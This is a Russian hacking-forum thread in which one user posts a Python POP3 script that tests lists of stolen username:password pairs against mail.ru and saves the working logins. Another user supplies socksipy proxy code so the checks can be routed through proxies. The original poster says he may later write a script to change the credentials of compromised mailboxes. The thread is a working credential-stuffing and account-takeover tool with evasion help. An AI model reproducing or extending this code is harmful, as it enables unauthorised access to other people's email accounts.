ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[Python] POP3 & Proxy
  #1  
Старый 18.11.2009, 01:34
Аватар для cupper
cupper
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
Провел на форуме:
1180737

Репутация: 180


По умолчанию [Python] POP3 & Proxy

как этот скрипт модифицировать на роботу через прокси
Код:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import poplib, email
# Учетные данные пользователя:
SERVER = "pop.mail.ru"

import sys
import string
try:
	filename = sys.argv[1]
	print "Используеться файл с данными " + filename
except IndexError:
	print "Используется стандартный файл с данными input.txt"
	filename="input.txt"

try:
	f1 = open(filename, "r")
	f_good = open("good.txt", "w")
except IOError:
	print "Чёта я файл открыть немогу :("
	exit(1)

while 1:
  	temp = f1.readline()
  	if not temp:
  		break
  	USERNAME = temp[0:temp.find(":")].strip()
  	if (len(USERNAME) < 3):
  		continue
  	USERPASSWORD = temp[(temp.find(":")+1):-1].strip()	
  	if (len(USERPASSWORD) < 3):
  		continue

	p = poplib.POP3(SERVER)
	print p.getwelcome()
	try:
		print p.user(USERNAME)
		print p.pass_(USERPASSWORD)
		print p.quit()
		f_good.write(temp)
	except:
		print "Пароль неподошол"
накатал седня утречком, а как работать с проксей на питоне незнаю.
Если работу через прокси можно легко внести сюда то может кто покажет как, если сложно то мож кто знает материальчик хороший на эту тему ?
 
Ответить с цитированием

  #2  
Старый 18.11.2009, 10:57
Аватар для login999
login999
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме:
4512757

Репутация: 973


По умолчанию

Два варианта - первый принудительно указывать переменную окружения (не факт что сработает).
Второй - Socksipy, но придется модифицировать poplib, а точнее обезьянопатчить

Вот тебе метод

Код:
    def __init__(self, host, port=POP3_PORT,
                 timeout=socket._GLOBAL_DEFAULT_TIMEOUT):
        self.host = host
        self.port = port
        self.sock = socket.create_connection((host, port), timeout)
        self.file = self.sock.makefile('rb')
        self._debugging = 0
        self.welcome = self._getresp()
В принципе вполне хватит его заманкипатчить (с socksipy)
Ага, и да, катят только прокси с незарезанным методом CONNECT (в принципе другие и не прокатят и так)
В принципе в этих библиотеках больше доков чем кода.
Можна и саму библиотеку немного переписать под socksipy(но она херовая сама по себе )

Последний раз редактировалось login999; 18.11.2009 в 11:01..
 
Ответить с цитированием

  #3  
Старый 18.11.2009, 11:30
Аватар для login999
login999
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме:
4512757

Репутация: 973


По умолчанию

Бла-бла-бла
От пиздёжа к делу.
Необходима socksipy :
Код:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import poplib
import socks

def create_connection((host, port), timeout):
    proxy_addr = "0.0.0.0"#Адрес прокси-сервера
    proxy_port = 8080#Порт прокси-сервера (типа int)
    proxy_type = 3#Тип прокси-сервера (1-SOCKS5, 2-SOCKS4, 3-HTTP с разрешенным методом CONNECT)
    soket = socks.socksocket() #Создание обьекта socksocket из socksipy
    soket.setproxy(proxytype=proxy_type, addr=proxy_addr, port=proxy_port)#Установка прокси для него
    soket.connect((host, port))#Вызов его метода connect
    return soket#Возврат сокета из функции
    
poplib.socket.create_connection = create_connection
Вот тебе манкипатч.
После него пишешь весь свой код (естественно не импортируя повторно poplib )
Проверил только что.
Как уже видно, он патчит метод create_connection из модуля socket, этот метод в библиотеке используется один раз - в атрибуте, который я указал выше.
Вроде работает.
Для себя - самое то, большего не нужно.
Для использования в более высоких целях - не катит ибо там саму socksipy нужно патчить под голимые пабликовые прокси.
 
Ответить с цитированием

  #4  
Старый 18.11.2009, 14:17
Аватар для cupper
cupper
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
Провел на форуме:
1180737

Репутация: 180


По умолчанию

Спасибо, домой приду попробую.

А может тогда будет правильно переквалифицировать скрипт на более сложную логику через socket, там то это уже наверно можно делать легально с помощью библиотечных функций. Точнее я так и буду теперь делать, просто интерестно заранее узнать как там с этим?
 
Ответить с цитированием

  #5  
Старый 18.11.2009, 14:32
Аватар для login999
login999
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме:
4512757

Репутация: 973


По умолчанию

Цитата:
Сообщение от cupper  
Спасибо, домой приду попробую.

А может тогда будет правильно переквалифицировать скрипт на более сложную логику через socket, там то это уже наверно можно делать легально с помощью библиотечных функций. Точнее я так и буду теперь делать, просто интерестно заранее узнать как там с этим?
Не вижу смысла усложнять.
poplib там и так элементарная.
Можно ей просто этот манкипатч всунуть в код да и все
будет sockpoplib
Переписать будет несложно
Этот патч будет нормально работать так как этот метод вызывается только один раз. Просто в зависимости от целей нужно что-то думать.
Подскажи для чего оно нужно и подумаем, имеет ли смысл ее модифицировать. А насчет socksipy то она работает как надстройка над socket . Там парочка методов которые ничего особого не делают. Они только отправляют инициирующий запрос на соединение прокси/сокс-серверу, а потом просто связывают свой внутренний сокет с этим проксиком. Оно все прозрачно и красиво, но для моих целей неюзабельно ибо неустойчиво + еще пару минусов. Я вообще задумался над написанием своего собственного модуля для работы с хттп протоколом (хотя бы начального уровня, для своих потребностей) Хотя и планов то у меня как у Наполеона
 
Ответить с цитированием

  #6  
Старый 18.11.2009, 16:21
Аватар для cupper
cupper
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
Провел на форуме:
1180737

Репутация: 180


По умолчанию

ну как бы банально это не было, хочу свой чекер мыл сделать для него этот метод как раз то самое.

Но если учитывать Наполеоновкие планы то возможно когда то в будущем сделать скрипт по изменению аутентификационных данных на good-мылах, хотя подумал и решил что правильней сначала прочекать а уже в другом скрипте можно и менять данные (но мож отпустит, и перехочется этим заниматься) так что остановлюсь на твоем методе.
 
Ответить с цитированием

  #7  
Старый 20.11.2009, 00:06
Аватар для cupper
cupper
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
Провел на форуме:
1180737

Репутация: 180


По умолчанию

Подумал на досуге и понял что такой метод не канает, модификация идет глобальная а нужна локальная для каждого потока.
если например сделать параметр прокси передаваемый в эту функцию а не статический то придеться модифицировать часть стандартных функций библиотеки что вообще ни есть гуд.

Может есть у кого еще идеи, как работают аналогичные чекеры ?
 
Ответить с цитированием

  #8  
Старый 20.11.2009, 00:36
Аватар для login999
login999
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме:
4512757

Репутация: 973


По умолчанию

Цитата:
Сообщение от cupper  
Подумал на досуге и понял что такой метод не канает, модификация идет глобальная а нужна локальная для каждого потока.
если например сделать параметр прокси передаваемый в эту функцию а не статический то придеться модифицировать часть стандартных функций библиотеки что вообще ни есть гуд.

Может есть у кого еще идеи, как работают аналогичные чекеры ?
Предлагю таки модифицировать poplib под свои нужды
Могу завтра по свободе заняться.
Только чур не ругаться потом на socksipy.
Если нужно могу выложить свой немного поправленный прокси-чекер с модифицированной socksipy (правда там есть один нюанс - то ли криво работает Socksipy, то ли httplib2 (использовал socksipy в связке с ней), но я от этого варианта отказался из-за редкостной глючности). Прокси-чекер это класс а не приложение . Вроде я его еще не удалил.
 
Ответить с цитированием

  #9  
Старый 20.11.2009, 12:42
Аватар для login999
login999
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме:
4512757

Репутация: 973


По умолчанию

http://dl.dropbox.com/u/381215/sockspoplib.zip
Минимальные изменения в poplib (в предела патча+замечен один баг в самой poplib =/)
 
Ответить с цитированием

  #10  
Старый 20.11.2009, 12:47
Аватар для cupper
cupper
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
Провел на форуме:
1180737

Репутация: 180


По умолчанию

выкладывай, думаю лишнем не будет.
А что ты подразумеваешь под "модифицированной" библиотекой ? Это переопределенные функции в самом коде скрипта (по типу как ты сделал create_connection) или в самой библиотеке поправлено что то ?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Proxy FAQ iv. Анонимность 75 01.05.2010 13:24
Живые прокси xdx ICQ 111 15.04.2007 13:10
Proxy Kozak-Scv Анонимность 2 11.02.2007 17:28



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ